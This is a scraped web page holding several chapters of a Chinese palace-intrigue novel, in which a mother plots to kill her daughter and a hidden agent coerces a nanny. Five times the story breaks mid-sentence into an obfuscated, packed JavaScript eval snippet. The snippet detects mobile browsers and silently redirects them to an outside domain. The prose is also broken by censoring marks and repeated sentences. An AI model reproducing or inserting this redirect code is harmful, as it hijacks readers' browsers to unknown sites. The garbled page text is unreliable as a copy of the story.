钱雅芝的脸色瞬间一变, 她猛地转过头,厉声喝道: “谁?谁在外面?!”“啪嗒——” 寂静中,一声脆响,像是什么东西摔碎了,在这压抑的氛围里,显得格外突兀。 钱雅芝脸色骤变,猛地回头,厉声喝问:“谁?!谁在那儿?!” 话音未落,门口已立着两个人影,正是晏芸清和晏景文。 晏景文原是惦记着母亲。一来她身子不好,二来父亲又纳了新姨娘,他担心母亲心里不痛快,便想着过来宽慰几句。 谁知半路上,正巧碰见了妹妹晏芸清,也是来看钱雅芝的。 兄妹俩便结伴而来。 走到院外,晏景文就觉得气氛不对。他猜到钱雅芝怕是动了怒,悄悄溜了进去。 心想直接进去,省得下人撞枪口上,平白受罚。 可万万没想到,刚走到门口,就听见了里头那番话。 一时间,兄妹二人都愣住了,像两尊石雕似的,立在原地。 晏芸清猛地抬头看向钱雅芝,紧紧攥着拳,指甲都快嵌进肉里。 晏景文满脸的难以置信,眼中尽是受伤的神色。 而晏芸清的眼神,冰冷得像淬了寒霜的刀刃,除了警惕,还有压抑着的厌恶和愤怒。 晏芸清早就看透了钱雅芝这个人,对她不抱任何希望。 但亲耳听到钱雅芝说出那样的话,还是让她心底发寒。 她竟然想让晏清澜**! 晏芸清只觉得一股寒气从脚底直窜头顶,冷得她浑身发抖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16485898|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>钱雅芝也没想到,自己失控的话,会被一双儿女听见。 她可以心狠手辣,但绝不能让孩子们看到她这副模样。 她苦心经营的慈母形象,绝不能毁在晏清澜手里。 周嬷嬷更是吓得魂飞魄散,额头直冒冷汗。 可转念一想,她觉得自己说的也没毛病。 她一直在劝钱雅芝想开些,就算被听见了,又能怎么样? 火,烧不到她身上。 这么一想,周嬷嬷稍稍安心,但还是上前,急着解释:“大公子,大姑娘,你们别误会。夫人是气头上,说的话不能当真,你们听听就算了,可别往心里去。” 说着,她还偷偷看了钱雅芝一眼。 钱雅芝也回过神来,强撑着起身。 她脸色煞白,眼前一阵阵发黑,身子晃了晃,差点跌倒。 周嬷嬷连忙扶住她。 钱雅芝揉着太阳穴,勉强挤出一个难看的笑容:“是啊,明礼,芸芸,都是气话。我……我就是太生气了,才口不择言。” 晏芸清冷眼看着这主仆二人,一个唱红脸,一个唱白脸。 她不置可否,只是眼神愈发冰冷,透着几分嘲弄。 过了好一会儿,她才开口,语气淡淡的:“母亲和周嬷嬷这么着急,是怕什么?怕我们真信了您要对阿清不利?” “难不成……你们真做了什么见不得人的事?” 说到这儿,晏芸清微微一顿,似笑非笑地看着钱雅芝。 那眼神,仿佛洞悉了一切。 钱雅芝的脸色,瞬间僵硬。 晏景文则一直盯着钱雅芝,眼中充满了疑惑和质问。 “母亲,阿清她……到底做了什么,让您这么生气?” 他一字一句地问道,语气中带着一丝痛心。 “您怎么能说出那样的话?太让人寒心了。” 钱雅芝张了张嘴,却说不出话来。 她要怎么解释?说晏清澜把她的丑事都抖了出来? 昨晚,晏景文和朋友赏月去了,没和她们一起。 **昨晚发生了什么,也不知道外头的流言蜚语。 晏景文不知道,晏芸清却一清二楚。 她扫了一眼脸色难看的钱雅芝,淡淡地说:“也许是因为昨晚的事吧。” 昨晚她和何默在江边,听到了百姓们的议论。 晏景文听了,眉头紧锁。 晏清澜那张嘴,他早就见识过了,的确能把人气个半死。 第二百九十一章 但钱雅芝也不该说出那种话。 他就算再讨厌晏清澜,也没想过让她死。 他看着钱雅芝,失望地摇了摇头:“娘,您有什么话不能好好说?非要这样?阿清本来就对我们有怨气,这样只会把人越推越远?” “您这样做,对谁有好处?难道真要让京城里的人笑话咱们庄家?” 晏芸清冷眼看着晏景文,心里冷笑。 这话说得好听,可他自己呢? 他对晏清澜,又何曾有过半分真心? 晏芸清不信钱雅芝的“气话”,她垂下眼,淡淡地说:“母亲身体不好,就别操心这些事了。至于外头那些闲言碎语,听听就罢了。” “父亲新纳了仲姨娘,您不如把心思放在她身上。仲姨娘若是能平平安安地生下孩子,也算是给咱们庄家添丁了。” 晏芸清话锋一转,看似在劝钱雅芝,实则是在提醒她。 这话听在钱雅芝耳朵里,却格外刺耳。 但当着晏景文的面,她忍住了,没说什么。 她淡淡地说:“知道了,娘会注意的。你和玥玥,以后要多帮着家里。” 她不想再提晏清澜,便岔开了话题。 晏芸清低着头,轻轻地“嗯”了一声,嘴角勾起一抹嘲讽。 钱雅芝越是回避,越说明她心虚。 她能对庶出的孩子下手,自然也能对晏清澜下手。 晏芸清心里想着,她得想办法提醒晏清澜。 钱雅芝这条毒蛇,指不定什么时候就会窜出来咬人。晏景文和晏芸清兄妹俩刚离开,周嬷嬷就腿一软,差点跌坐在地上。 她只觉得背后的衣裳都被冷汗浸透了,黏糊糊地贴在身上,说不出的难受。 抬手擦了擦额头上密密麻麻的汗珠,周嬷嬷心有余悸地看向钱雅芝。 这位主母,脸色依旧阴沉得像要滴出水来。 “夫人,幸好大公子和大姑娘没把您的话当真。”周嬷嬷的声音微微发颤,像是刚从噩梦中惊醒。 钱雅芝眼皮都没抬一下,只是冷哼了一声。 “往后,您可千万别再说这种话了。”周嬷嬷定了定神,继续劝道。 她深知钱雅芝的脾气,这话不说还好,说了反而更容易激怒她。 可她还是忍不住。 “您想想,亲闺女和亲妈能有多大仇?四姑娘还小,不懂事,等她长大了,自然就明白您的苦心了。” 周嬷嬷苦口婆心地劝着。 “等她想通了,一定会跟您赔礼道歉的。到时候,您可得给她个台阶下,别再跟她置气了。” 钱雅芝依旧沉默不语,脸色却更难看了,像是暴风雨来临前的天空,阴云密布。 她心里已经打定了主意,要让晏清澜从这个世界上消失。 谁劝也没用。 这些劝说的话,就像是往熊熊燃烧的烈火上浇油,只会让火烧得更旺。 钱雅芝猛地抬起头,眼神冰冷,像淬了毒的刀子,狠狠地剜了周嬷嬷一眼: “行了,嬷嬷,你不必再说了!”她的声音低沉而严厉,带着不容置疑的威严。 “我心里有数,你下去吧。” 说完,钱雅芝疲惫地闭上了眼睛,揉了揉隐隐作痛的太阳穴。 她在心里暗暗后悔。 当初就该心狠一点,直接让侍卫了结了晏清澜的性命,以绝后患。 就是因为一时的心软,才留下了这个祸害。 现在,她已经没有任何退路了。 不管付出什么代价,晏清澜都必须死。 周嬷嬷还想再说些什么,可看到钱雅芝这副模样,也只能把话咽回肚子里。 她张了张嘴,最终化作一声无奈的叹息,默默地退了出去。 -- 刚回到自己的房间,周嬷嬷就感觉脖子上一凉。 她顿时全身僵硬,像被人点了穴道一样,一动也不敢动。 一把锋利的**,正抵在她的喉咙上。 那冰冷的触感,让她的汗**都竖了起来。 昏暗的光线下,**闪着幽幽的寒光,像是索命的无常。 只要对方轻轻一动,她的喉咙就会被割开,瞬间毙命。 周嬷嬷吓得魂飞魄散,双腿不停地打颤。 她强忍着恐惧,吞了口唾沫,颤抖着声音说:“饶……饶命……” “我……我可都是按您的吩咐做的,一点……一点儿也没敢打折扣啊!” 周嬷嬷的声音里带着哭腔,她快要崩溃了。 话音刚落,她就感觉脖子上的**又往前送了送,几乎贴上了她的皮肤。 周嬷嬷吓得差点尿裤子。 一个沙哑低沉的声音,在昏暗的房间里响起,像是从地狱里传来的魔音: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497154|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你最好别跟我耍花样,否则,我不介意送你全家一起上路——” 那声音顿了顿,然后发出一声阴冷的笑声,让周嬷嬷的头皮一阵发麻。 她想起了几天前的那个深夜。 这人突然出现在她的房间里,手里拿着一块金锁片。 那金锁片,是她孙子出生时,她特意找人打造的。 那是她孙子的护身符,也是她的命根子! 孙子的小命被人拿捏得死死的,她这些天吃不好睡不着,就怕一个不小心,惹恼了这人,让自己和家人陷入万劫不复之地。 这人威胁她,让她想办法,挑唆钱雅芝对晏清澜动手。 想到这里,周嬷嬷再也支撑不住,扑通一声跪倒在地。 要不是有那把锋利的**抵着,她早就瘫在地上了。 “不敢,不敢,老奴说的句句属实啊!”周嬷嬷的声音里充满了恐惧。 “夫人现在恨不得立刻杀了四姑娘,老奴要是敢说半句假话,就让老奴不得好死!” 她顾不得害怕,一个劲儿地磕头,希望对方能相信她。 由于对方每次出现,都戴着遮住面容的帷帽,周嬷嬷根本看不清对方的脸。 而且这人说话的声音也低沉嘶哑,带着让人不寒而栗的杀气。 周嬷嬷根本分不清对方是男是女,只能用“贵人”来称呼。 “哦?她真的起了杀心?” “贵人”的声音听不出喜怒,只是淡淡地问了一句。 周嬷嬷不敢有丝毫隐瞒,连忙把钱雅芝对晏清澜的恨意,一五一十地说了出来。 钱雅芝对晏清澜的恨,已经到了骨子里。 就算没有她在旁边煽风点火,钱雅芝迟早也会对晏清澜下手。 她要做的,只是推波助澜而已。 毕竟钱雅芝的性子,她是了解的,越劝越来劲。 一声冷笑,在房间里回荡,让周嬷嬷的心提到了嗓子眼。 她不知道对方是什么意思。 “贵人,您……为何非要逼着我夫人对四姑娘下死手?”周嬷嬷壮着胆子问道。 她实在想不通,既然对方有本事**,为什么不自己动手? 难道是……怕了? 听说四姑娘的武功很高,一般人根本不是她的对手。 话音刚落,周嬷嬷就感觉脖子上的**又紧了几分。 第二百九十二章 那冰冷的刀锋,似乎已经刺破了她的皮肤。 死亡的气息扑面而来,让周嬷嬷瞬间窒息。 她吓得魂飞魄散,眼泪像断了线的珠子一样滚落下来,不停地求饶。 “贵人饶命!贵人饶命!” “有些事,不是你能问的。” “知道得越多,死得越快。” 昏暗中,冰冷的声音像死神的宣判,让周嬷嬷如坠冰窟。 她浑身颤抖,声音嘶哑:“老奴……老奴知错了,再也不敢了!” 她恨不得把自己的舌头咬下来,再也不敢多嘴了。 蒙面少年嘴角上扬露出不屑,声音里充满了轻蔑。 “这一切,只能怪你们家四姑娘命不好,挡了别人的路。” “今天的事,要是传出去半个字……” 他没有再说下去,只是发出一声冷哼。 但那警告的意味,已经再明显不过。 周嬷嬷的声音颤抖得不成样子,几乎要晕死过去:“老奴不敢,老奴就是吃了熊心豹子胆,也不敢把今天的事说出去啊!” 她赌咒发誓,恨不得把心掏出来给对方看,以证明自己的清白。 “算你识相。” 抵在周嬷嬷喉咙上的**,突然消失了。 紧接着,房间里恢复了平静,仿佛什么都没有发生过。 周嬷嬷瘫软在地上,浑身像是被抽走了所有的力气。 她大口大口地喘着粗气,缓了好一会儿,才慢慢回过神来。 周嬷嬷连滚带爬地跑到桌边,倒了一大杯凉茶,一口气灌了下去。 冰冷的茶水,让她混沌的大脑清醒了一些。 太可怕了! 周嬷嬷惊魂未定地拍着胸口,只觉得心脏都快要跳出来了。 四姑娘这到底是得罪了什么人啊? 竟然要买通她的亲娘来杀她! 而且,看钱雅芝的样子,是铁了心要置四姑娘于死地。 这可如何是好? 周嬷嬷越想越害怕,浑身止不住地颤抖。 -- 与此同时,浮萍居。 晏芸清拉着晏清澜的手,眉头紧蹙,焦急之情溢于言表。 “阿清,方才我亲耳听见钱雅芝说要除了你,她就是想要你的命!” 晏清澜低头看着自己被握紧的手,纤细的手指在晏芸清手背上轻轻摩挲,像是在安抚她。 “这几日你定要加倍小心,建议你老实呆在家里!”晏芸清急切地说。 “谁知道钱雅芝那个女人会做出什么疯狂的事来!”“何默的父亲和兄长,都因心疾……”晏清澜话到嘴边,却又生生咽了回去,只用指尖轻轻摩挲着晏芸清的手背,声音低不可闻,“芸芸,你当真……不怕么?” 她不能不担心。 晏芸清与何默的婚事,那是还在襁褓里就定下的。 三年前,何默的父亲心疾骤发,撒手人寰,两人的婚期便就此搁置。 可晏清澜心里跟明镜似的,何默……怕是也逃不过这命数。 她能护着晏芸清,让她避开钱雅芝的算计,免去那被迫嫁人、以死抗争的凄惨下场。 但,何默的命,她改不了,也无能为力。 念及此,晏清澜眉心紧蹙,攥着晏芸清胳膊的手,力道不自觉地加重了几分,指节隐隐泛白,透着几分难以言说的不安。 “芸芸,你……可曾想清楚了,这门亲事,你当真……要应?” 晏芸清觉察出她的忧虑,唇角微扬,反手将晏清澜的手拢入掌心,轻轻地捏了捏,似是在安抚。 窗外斜阳洒落,柔和的光晕笼在她面上,愈发衬得那双眸子清亮如水,不见一丝阴霾。 “阿清,你的顾虑,我岂会不知?”她轻轻开口,声音虽柔,却带着不容置疑的坚定。 她又怎会不明白?晏清澜是怕她嫁过去之后,何默步了他父亲和早逝兄长的后尘,让她年纪轻轻就守了寡,孤苦无依。 “我在苏府,过得是什么日子,你又不是不知道。不过是……比你好上那么一丁点儿罢了。这亲事,哪里轮得到我自己做主?可偏偏……”她顿了顿,目光灼灼地看向晏清澜,“那人是何默。” 她深吸一口气,像是下定了决心,一字一顿地说道: “他身子如何,与我何干?我只知,若不能嫁他,我便了无生趣。我甚至……”她垂下眼帘,遮住眼底一闪而逝的决绝,“曾想过,若她们执意逼我嫁给旁人,我便……自我了断,也好过任人摆布。” 说完,她脸上出奇地平静,甚至还带着一丝若有似无的笑意,仿佛在说一件再寻常不过的小事。 晏清澜却是浑身一震,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497155|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也笑不出来。 她猛地抬头,看向晏芸清,眼底满是震惊与心疼。 原来……竟是这般。 怪不得,怪不得晏芸清最后竟真的拿起了剪刀,决绝赴死…… 原不是山穷水尽,走投无路,而是……早已心如死灰,生无可恋。 那些劝慰的话,到了嘴边,又被晏清澜硬生生咽了回去,只觉得胸口一阵闷痛,像是压了一块巨石,喘不过气。 她张了张嘴,却发现自己什么也说不出来。 良久,她才勉强扯出一丝苦涩的笑意,目光投向窗外。 那株青竹,在夕阳的余晖中,显得格外挺拔。 风吹不倒,雪压不折,一年四季,皆是如此。 晏清澜缓缓收回视线,重新看向晏芸清,紧紧握住她的手,声音沙哑得厉害: “何默……当真是好福气,能得你这般……全心全意。” 晏芸清不以为意地笑了笑,眉宇间尽是释然: “情爱之事,本就你情我愿。他若不这般待我,我又怎会如此?” 她忽地话锋一转,蹙起眉尖,目光灼灼地盯着晏清澜,忧心忡忡: “阿清,你生得这般好,气度更是万中无一,可钱雅芝……她偏就容不下你。” 她顿了顿,声音里带着几分颤抖: “我曾亲耳听见,她恨不得……除了你。我知你聪慧,可……” 晏芸清深吸一口气,努力平复着内心的不安。 “钱雅芝或许不敢明着要你的命,可这世道……脏的很。要让一个女子活不下去,法子多得是。” 她紧紧抓住晏清澜的胳膊,力道大得惊人,仿佛生怕一松手,她就会消失不见。 “阿清,原先我还想着,你只要不出这院子,便能平安无事。可如今看来……这浮萍居,也不安全。” “你听我的,搬去陆家住些时日,好不好?至少……他们能护着你,让你不受那些腌臜手段的算计。” 她顿了顿,语气愈发沉重,像是回忆起了什么可怕的事情: “你年纪还小,不知这内宅的龌龊。那些见不得人的手段,层出不穷,防不胜防。若有人铁了心要害你,她们……是不会罢休的。” 晏芸清的声音越来越低,带着几分难以言喻的悲凉: “你可还记得… 第二百九十三章 …三姐姐?她虽是庶出,平日里也极少出门走动,可她生得一副好性子,又极爱读书,我每每见她,她正抱着一本小说啃,安安静静的,不争不抢。” “可就因为她出身不好,偏又生了副好气度,在宫宴上,吴王妃不过随口夸了她一句,说她不输给晏玥玥,结果呢?没过几日,她就……‘失足’落水了。” 说到这里,晏芸清的声音开始颤抖,指尖也变得冰凉。 她仿佛又回到了那个阴冷的冬日,看到了那冰冷的池塘,以及那张被泡得发白的脸。 “你不知道……三姐游泳技术贼溜!就算当真失足落水,没人救她,她自己……也能爬上来啊!” 晏芸清的声音里,带着几分绝望和不甘。 “她出事前一晚,还送了我一个她亲手打的络子,说是……祝我平安顺遂。” “她平日里最是谨慎小心,从不与人争执,更不爱出风头。若论起谨小慎微、明哲保身,我谁也不服,只服她。可即便如此……她还是没能逃过这一劫。” 这些事,晏清澜自然知晓。 钱雅芝的心,是黑的,冷的。 她见不得旁人比她好,更见不得有人威胁到她的地位。 “阿清,你定要……护好自己,我不想……再看到我的妹妹,遭了那些人的毒手。”晏芸清紧紧攥着晏清澜的手,指节泛白,声音嘶哑。 晏清澜缓缓点了点头,声音虽轻,却透着一股不容置疑的坚定: “阿姐放心,我省得。” 可晏芸清哪里能真的放心? 她一想到迫在眉睫的宫宴,便心乱如麻。 晏芸清拧紧了眉头,极力压低了声音,将一些不能为外人道的隐秘和盘托出: “阿清,宫里每年都会办赏梅宴,我听人说,这种场合最容易出乱子。你到时候千万要小心,莫要着了别人的道,特别是钱雅芝,我总觉得她会在赏梅宴上对你不利。” “赏梅宴上人多眼杂,保不齐就有人借酒装疯,你万不能落单,更不能随意吃旁人递来的东西,知道吗?” 她知道,这些话,已经说得十分直白了。 但她顾不得那么多,她只怕晏清澜涉世未深,着了别人的道。 她不信钱雅芝会轻易放过晏清澜。 赏梅宴,便是那毒妇动手的最好时机。 晏清澜听着,眉头也渐渐蹙了起来。 赏梅宴…… 原书中,的确提到过,赏梅宴上曾出过一桩事。 只是,她原以为,只要自己多加防范,便能避开那些算计。 可如今看来,事情怕是没那么简单。 这世上,哪有那么多巧合? 不过是……有人刻意为之罢了。 “你在苏府,也要多加小心,时时提防钱雅芝,别让她寻到机会对你下手。”晏清澜看向窗外渐沉的暮色,心里估摸着时辰,“时候不早了,你该回去了。莫叫钱雅芝瞧出端倪,对你起了疑心,平白生出事端。”她顿了顿,郑重地看着晏芸清,“阿姐,今日之事,你知我知,万不可对第三人提起,便是最亲近之人,也要守口如瓶。”晏芸清前脚刚走,晏清澜脸上的笑意便瞬间敛去,无影无踪。 她缓缓起身,走到院中。 花圃里,菊花开得热闹,像要把整个秋天的颜色都燃尽。 可晏清澜却无心欣赏。 她拿起剪刀,目光落在一根旁逸斜出的枝桠上。 “咔嚓”一声。 残枝应声落地,轻轻颤动。 桂柔悄无声息地出现在她身后,换上了一身不起眼的丫鬟装束,面无表情,唯有看向晏清澜的眼神,还带着平日的恭敬。 “都安排妥当了?”晏清澜没有回头。 “回主子,”桂柔的声音压得很低,“钱雅芝已对您起了杀心。” 说到这里,桂柔的声音里再难掩饰怒火: “即便没有周嬷嬷在旁煽风点火,她也断然容不下您!” 她紧紧攥着拳头,指节发白。 要不是晏清澜早有吩咐,她早就忍不住冲进去,一剑结果了那个恶毒的女人。 晏清澜听了,却只是冷笑,仿佛早已预料到会是这样的结果。 “那就把火烧得更旺些,”晏清澜语气轻飘飘的,“务必让她杀心更盛。” 她顿了顿,声音里带上了一丝玩味: “可别让她今日雷声大,明日雨点小,那多没趣?” 桂柔垂首,沉声道:“是。” 她想起一事,又问道:“那事成之后,周嬷嬷那边……” 晏清澜随手把玩着手中的剪刀,刀刃在阳光下闪着寒光。 “不必脏了咱们的手,”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503815|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气随意,“周嬷嬷是个聪明人,拿了钱自然知道该怎么办,她会安排好一切的。” 她微微勾起唇角: “何况,你没以真面目示人吧?就算你站在她面前,她也不知道是谁。” 没错,当初给周嬷嬷递消息,让她唆使钱雅芝对晏清澜痛下**的,正是桂柔。 桂柔立刻低头回道:“主子放心,属下未曾暴露分毫。” 她去见周嬷嬷时,做了伪装,用的是假身份。 就算周嬷嬷胆大包天,也查不出她的底细。 易容改装,对于影阁的人来说,不过是家常便饭。 晏清澜轻轻“嗯”了一声,转身朝屋里走去。 她一边走,顺便开口说着:“苏府最近热闹,多个心眼,别露了马脚。” “是。”桂柔恭声应道。 晏清澜回到书房,在桌案前坐下,开始研墨铺纸。 毛笔沾满了墨汁,笔尖在宣纸上游走,一个个字迹逐渐显现。 这是一张缓解心疾的方子。 何默的心疾,她暂时还治不好。 再厉害也要有本钱才行,眼下没有条件做手术。 她又不是那些个幸运的穿越者,随身带着空间,能来去自如,还能把人带回现代医治。 晏清澜轻轻叹了口气,搁下了手中的笔。 墨迹还未干透,她身旁却突然多出了一道身影。 一片阴影落下,带着熟悉的冷冽气息。 晏清澜微微一怔,转头看去。 “你怎么来了?”她脱口而出。 童玄珏的目光在那张药方上停留了片刻,便自顾自地在她身旁坐了下来。 晏清澜早已习惯了他的神出鬼没,但还是会有些反应不过来。 她暗自庆幸,自己心理素质过硬,不然迟早要被这人吓出毛病。 “不欢迎?”童玄珏微微挑眉。 “……”晏清澜噎了一下,没好气地说,“说吧,什么事?” 她才不信,童玄珏会无聊到专程跑来她这里闲坐。 “喵呜~” 一声软糯的叫声响起,小狐狸暮雪从角落里钻了出来。 它虽然是被童玄珏给带回来的,可心里头早就认定了晏清澜才是主人。 至于童玄珏? 顶多算个熟人。 第二百九十四章 暮雪迈着小碎步,蹭到了晏清澜的脚边,用毛茸茸的脑袋蹭她的小腿,还发出细细的叫声,像是在撒娇。 晏清澜被它蹭得有些痒,忍不住笑了起来。 她弯腰将它捞进怀里,轻轻地揉着它的脑袋。 暮雪舒服地眯起了眼睛,整个身子都往晏清澜的怀里拱,还时不时地发出满足的咕噜声。 晏清澜小心翼翼地托着它,生怕把它给摔了。 童玄珏看着这一幕,眸色微微加深。 他漫不经心地转动着手指上的玉扳指,语气听不出喜怒:“这小东西,倒是会讨人欢心。” 晏清澜一下一下地抚摸着暮雪的毛发,轻声说道:“它这是信任我。” 童玄珏扯了扯嘴角,看向暮雪的眼神里,带上了一丝不易察觉的嫌弃:“它这是恃宠而骄。” 他顿了顿,语气里带上了几分嘲讽: “还真以为自己是这府里的主子了?” 暮雪:“……” 晏清澜:“……” 她有些无语地看向童玄珏,“我说,你跟一只狐狸较什么劲?” 童玄珏轻笑一声,语气淡淡的: “没什么,就是单纯看它不顺眼。” 晏清澜忍不住翻了个白眼: “当初要养它的是你,现在嫌弃它的也是你,你可真行。” 她摇了摇头, “我算是看出来了,你这人就是喜怒无常。” 暮雪似乎也感受到了童玄珏的嫌弃,它往晏清澜怀里缩了缩,试图把自己藏起来。 童玄珏看着它,眼神冷冷的。 他突然伸出手,朝晏清澜说道: “把它给我吧。” 晏清澜一愣:“干嘛?” “它太胖了,你抱着不累吗?”童玄珏语气淡淡的,“我来抱一会儿。” 晏清澜有些犹豫。 她倒不是怕累,只是觉得童玄珏对暮雪的态度有些奇怪。 “你确定?”她问。 “有什么不确定的?”童玄珏反问道,“难不成你还怕我吃了它?” “……”晏清澜无语。 她叹了口气,还是将暮雪递给了童玄珏。 童玄珏接过暮雪,把它抱在怀里,轻轻地抚摸着它的毛发。 暮雪有些紧张,身体微微僵硬。 “别怕,”童玄珏的声音突然变得温柔起来,“我又不会吃了你。” 他顿了顿,又补充道: “不过,看来你最近发福了,该减减肥了。” 暮雪:“……” 这人怎么回事? 一会儿嫌弃它,一会儿又对它这么温柔? 它有些搞不懂了。 晏清澜看着这一幕,也有些摸不着头脑。 她忍不住问道:“童玄珏,你今天……是不是心情不好?” 童玄珏抬起头,看了她一眼,嘴角微微勾起: “没有啊。” “那你……” “我只是觉得,”童玄珏打断了她的话,“这小东西的名字,不太适合它。” “哦?”晏清澜挑了挑眉,“那你觉得,它应该叫什么?” “不如叫……”童玄珏故意拉长了声音,“雪团?” 暮雪:“……” 还不如叫白团小扁圆呢! 晏清澜忍不住笑了起来, “你这取的什么名字,还不如不取呢。” 她摇摇头, “还是叫暮雪,多好听。”“白团小扁圆?啊呸!” 雪团子似的小狐狸不乐意了,张嘴就咬住了童玄珏的衣角,气哼哼地发出呜呜声。 童玄珏先是一愣,随即来了兴致。他俯下身,用手指轻轻戳了戳暮雪毛茸茸的小脑袋,挑眉: “怎么,小东西,你还能听懂人话不成?” 晏清澜连个眼神都懒得给他,只是淡淡地扫了他一眼: “你能听懂,它咋就不开窍呢?” 这话里夹枪带棒的,童玄珏哪能听不出来。 他轻咳一声,清了清嗓子,故意凑近晏清澜,压低了声音: “当初是谁,哭着喊着嫌弃‘暮雪’这名字难听,还说……” 他故意拖长了声音,眼角眉梢都带着戏谑。 还信誓旦旦说自己绝不娶妻,孤独终老都无所谓的。 当然,后半句他很识趣地咽回了肚子里。 晏清澜面无表情地抬眸,目光清冷如水,语气平淡无波: “人嘛,总是要对比之后才知道好坏。” 跟那些稀奇古怪的名字比起来,暮雪简直就是天籁。 总而言之一句话,多亏了同行衬托。 小暮雪被童玄珏抱在怀里,似乎听懂了晏清澜的话,居然十分人性化地翻了个白眼,以示赞同。 童玄珏垂眸看看怀里这只狐狸,又抬头看看对面的晏清澜,唇角不自觉地勾起一抹玩味的笑: “你们两个,脾性倒是如出一辙。” 怪不得都说,宠物养久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503816|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了会越来越像主人。 晏清澜直接送他一个大白眼,毫不客气地回敬: “有话直说,别拐弯抹角。” 说她像狐狸,这不明摆着骂她不是人吗? 童玄珏无奈扶额。 他发现,自从遇到晏清澜,他叹气的频率直线上升。 “晏清澜,”他正色,目光灼灼地盯着她,“你就不能少说两句?” 好端端的一个姑娘,就是管不住这张嘴。 晏清澜双手抱臂,身子微微后仰,回敬一个“你有病吧”的眼神: “童玄珏,看来是我太惯着你了,想让我直接送客了?” 童玄珏不慌不忙,反而大喇喇地在她身旁的椅子上坐了下来,姿态那叫一个随意: “好啊,晏四姑娘请便。” 他知道,对付晏清澜,就不能要脸。 晏清澜见他这副无赖模样,就知道这人脸皮不是一般的厚,她也懒得再跟他多费口舌。 沉默片刻,她忽然轻咬下唇,目光缓缓落在了旁边砚台上。 眼珠一转,计上心来。 她慢条斯理地伸手去拿铺在桌上的宣纸,指尖却在经过砚台时,“不经意”地轻轻一碰。 “啪嗒——” 砚台倾斜,墨汁泼洒而出。 童玄珏早有防备,在晏清澜伸手过来时,他就已经察觉到不对劲,一个闪身躲开了。 可他怀里的暮雪却没那么幸运了。 小家伙正想挣脱他的怀抱,好死不死地,被溅了一身墨。 “……” 场面一度十分尴尬。 晏清澜石化。 暮雪僵住。 童玄珏也愣了几秒。 这可真是……又是暮雪一个人孤独流泪的夜晚。 原本雪白蓬松的小狐狸,瞬间变成了黑漆漆的一团。 它委屈地跑到晏清澜脚边,用湿漉漉的脑袋蹭着她的裙摆,软萌卖萌求宠爱,声音又软又糯,可怜巴巴的。 晏清澜低头,看着自己同样被染上墨迹的鞋子和裙角,太阳穴突突直跳。 她这是造了什么孽? 童玄珏没忍住,扑哧一声笑了出来。 他端起手边的茶盏,轻轻吹了吹浮沫,慢条斯理地抿了一口,唇角上扬,怎么看怎么幸灾乐祸: “晏四姑娘,搬起石头砸自己的脚,感觉如何?” 他故意顿了顿,语气中带着几分调侃: “看来,做人不能太坏,容易遭报应。 第二百九十五章 ” 晏清澜深吸一口气,强压下想要揍人的冲动。 她先是低头看了看脏兮兮的暮雪,又抬头看了看童玄珏那副小人得志的模样,只觉得手痒难耐。 暮雪似乎感应到了晏清澜的情绪,忽然一个箭步窜到了童玄珏脚边,一口咬住他的袍角。 它使劲地在童玄珏的袍子上蹭来蹭去,试图把自己身上的墨迹蹭干。 童玄珏的笑容,瞬间僵在了脸上。 他今天特意穿了一身月白色的长袍,还想着在晏清澜面前好好表现一番。 这下好了,全完了。 